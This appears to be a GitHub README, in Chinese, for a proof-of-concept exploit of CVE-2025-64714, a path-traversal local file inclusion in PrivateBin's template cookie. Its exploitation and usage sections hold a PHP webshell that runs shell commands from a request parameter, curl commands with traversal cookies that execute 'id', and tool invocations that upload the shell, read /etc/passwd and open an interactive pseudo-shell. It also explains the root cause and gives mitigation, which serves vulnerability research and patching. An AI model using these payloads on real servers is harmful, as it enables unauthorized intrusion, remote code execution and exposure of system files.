Medaz-Sploit/CVE-2025-64714-privatebin-2.0.2-PoC
GitHub: Medaz-Sploit/CVE-2025-64714-privatebin-2.0.2-PoC
针对 PrivateBin 2.0.2 及更早版本中 template cookie 路径遍历导致的本地文件包含漏洞(CVE-2025-64714)的概念验证与利用工具。
Stars: 0 | Forks: 0
# CVE-2025-64714 — PrivateBin 通过 Template Cookie 路径遍历实现的本地文件包含
## 目录
1. [概述](#summary)
2. [漏洞分析](#vulnerability-analysis)
3. [根本原因](#root-cause)
4. [攻击条件](#attack-conditions)
5. [利用场景](#exploitation-scenarios)
6. [PoC 用法](#poc-usage)
7. [影响](#impact)
8. [缓解措施](#mitigation)
9. [时间线](#timeline)
10. [免责声明](#disclaimer)
## 概述
PrivateBin 1.7.7 版本引入了一项 **模板切换** 功能,允许用户通过 `template` cookie 持久化其首选的视觉主题。由于对 cookie 值的验证不足,未经身份验证的攻击者可以提供 **路径遍历序列**(例如 `../`)来导致服务器包含预期 `tpl/` 目录之外的任意 PHP 文件——这是一个典型的 **本地文件包含(LFI)** 漏洞。
当与独立的 **写入原语**(配置错误的上传端点、另一个漏洞或本地访问)结合使用时,此 LFI 可以升级为 **远程代码执行(RCE)**。
## 漏洞分析
### 漏洞变更(在 commit `44f8cfb` 中引入,v1.7.7)
在 v1.7.7 之前,`TemplateSwitcher::isTemplateAvailable()` 仅接受属于预定义允许列表的模板:
```
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
```
在 v1.7.7 中,添加了一个备用路径以支持第三方主题。新代码检查文件是否 **存在于磁盘上**,而不是根据安全列表对其进行验证:
```
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← trusts user-supplied $template
}
return $available;
}
```
### 路径构建 — 无清理
`View::getTemplateFilePath()` 简单地将用户提供的值拼接到文件系统路径中:
```
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
```
当 `template=../cfg/conf` 时,解析的路径变为:
```
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
```
没有调用 `realpath()`,没有剥离 `..` 序列,也没有检查解析的路径是否保留在 `tpl/` 内。
### 包含 — 任意 PHP 执行
一旦 `isTemplateAvailable()` 返回 `true`,`View::draw()` 会无条件包含该路径:
```
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← attacker-controlled path included here
}
```
`extract($this->_variables)` 也会在包含之前运行,这可能会污染包含文件可用的变量命名空间。
### 绕过条件
唯一的附加防护是检查并阻止以 `bootstrap-` 开头的字符串:
```
if (!$available && !View::isBootstrapTemplate($template)) { … }
```
`isBootstrapTemplate()` 仅当字符串以 `bootstrap-` 开头时才返回 `true`。像 `../data/shell` 这样的路径遍历字符串可以轻松绕过此检查。
## 攻击条件
两个条件必须同时满足:
| # | 条件 |
|---|-----------|
| 1 | 在 `cfg/conf.php` 中设置了 `templateselection = true`(非默认) |
| 2 | 攻击者可以通过 `tpl/` 的相对路径引用现有的 `.php` 文件 |
对于 **纯 LFI / 信息泄露**,现有 PrivateBin PHP 文件已满足条件 2。
对于 **RCE**,攻击者还需要一个 **写入原语** 来将 PHP webshell 放置在可访问的目录下(例如 `data/`、可写的上传目录等)。
## 利用场景
### 场景 1 — 信息泄露(纯 LFI)
攻击者读取 PrivateBin 自身的 PHP 文件。大多数文件受保护行保护,会产生 `403` 或 `500` 响应,但响应本身即确认了 LFI。
```
Cookie: template=../cfg/conf
```
服务器端解析为:`tpl/../cfg/conf.php` → `cfg/conf.php`
即使是 `500` 响应也是有意义的信号——它证明文件已被访问且 PHP 引擎尝试执行它。
### 场景 2 — 通过写入原语实现 RCE
**步骤 1 — 投放 webshell**,使用任何写入向量(例如另一个文件上传漏洞、针对内部服务的 SSRF,或 CTF/实验室场景中的直接文件系统访问):
```
// /var/www/privatebin/data/shell.php
'.shell_exec($_REQUEST['cmd']).'';} ?>
```
**步骤 2 — 通过 template cookie 触发 LFI**:
```
Cookie: template=../data/shell
```
解析为:`tpl/../data/shell.php` → `data/shell.php` ✓
**步骤 3 — 通过 GET 参数执行命令**:
```
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
```
响应:
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)``` ### 场景 3 — 读取敏感的非 PrivateBin 文件 如果其他 PHP 应用程序共享相同的 Web 根目录(在共享主机中很常见),则其配置文件可能是可访问的: ``` Cookie: template=../../other_app/config/database ``` ## PoC 用法 ### 要求 ``` pip install requests ``` ### 基本命令 ``` # 1. 检测目标是否存在漏洞 python3 poc.py --url https://bin.example.com --detect # 2. 触发 LFI 读取特定 PHP 文件 python3 poc.py --url https://bin.example.com --template ../cfg/conf # 3. 上传 + 触发 webshell + 运行单个命令 (RCE 链) python3 poc.py --url https://bin.example.com \ --upload-shell ../data/pwn \ --cmd "cat /etc/passwd" # 4. 交互式 pseudo-shell python3 poc.py --url https://bin.example.com \ --upload-shell ../data/pwn \ --interactive ``` ### 等效的手动 curl 命令 ``` # Detection probe curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com # RCE (在将 shell 写入 data/pwn.php 之后) curl -s -k \ --cookie 'template=../data/pwn' \ -G --data-urlencode "cmd=id" \ https://bin.example.com ``` ## 影响 | 向量 | 影响 | 备注 | |--------|--------|-------| | LFI — PrivateBin 配置 | 有限 | 默认配置文件带有 PHP 保护行;产生 403/500 | | LFI — 粘贴数据文件 | 有限 | 每个粘贴文件都包含相同的保护行 | | LFI — 第三方 PHP 文件 | **高** | 取决于共存的应用程序 | | LFI + 写入原语 → RCE | **严重** | 以 Web 服务器用户身份完全执行命令 | PrivateBin 团队自己的分析发现,在公开列出的约 300 个实例中,有 **11 个** 启用了 `templateselection`,并且在披露时没有一个存在未受保护的配置文件。然而,在配置错误的环境或存在二次写入漏洞的环境中,该漏洞仍然具有重大意义。 ## 缓解措施 ### 已修补版本 升级到 **PrivateBin 2.0.3** 或更高版本。此修复恢复了严格的允许列表验证——仅当 `template` cookie 值与配置的 `availabletemplates` 列表中的模板名称完全匹配时,才会被接受。 ### 变通方案(不升级) 在 `cfg/conf.php` 中禁用模板选择: ``` [main] templateselection = false ``` 这是默认值;只有在之前已启用的情况下,才需要显式设置。 ## 免责声明 本仓库仅 **出于教育目的和授权安全测试** 提供。作者不对任何滥用行为负责。在对不属于自己的系统进行测试之前,请务必获得明确的书面授权。在大多数司法管辖区,未经授权利用计算机系统是非法的。
标签:0day漏洞, CISA项目, Cookie注入, CVE-2025-64714, CVE漏洞, LFI, meg, PHP安全, PoC, PrivateBin, RCE, Web安全, Write Primitive, 信息安全, 威胁防御, 文件包含漏洞, 暴力破解, 本地文件包含, 模板注入, 漏洞分析, 编程工具, 网络安全, 蓝队分析, 路径探测, 路径遍历, 远程代码执行, 逆向工具, 隐私保护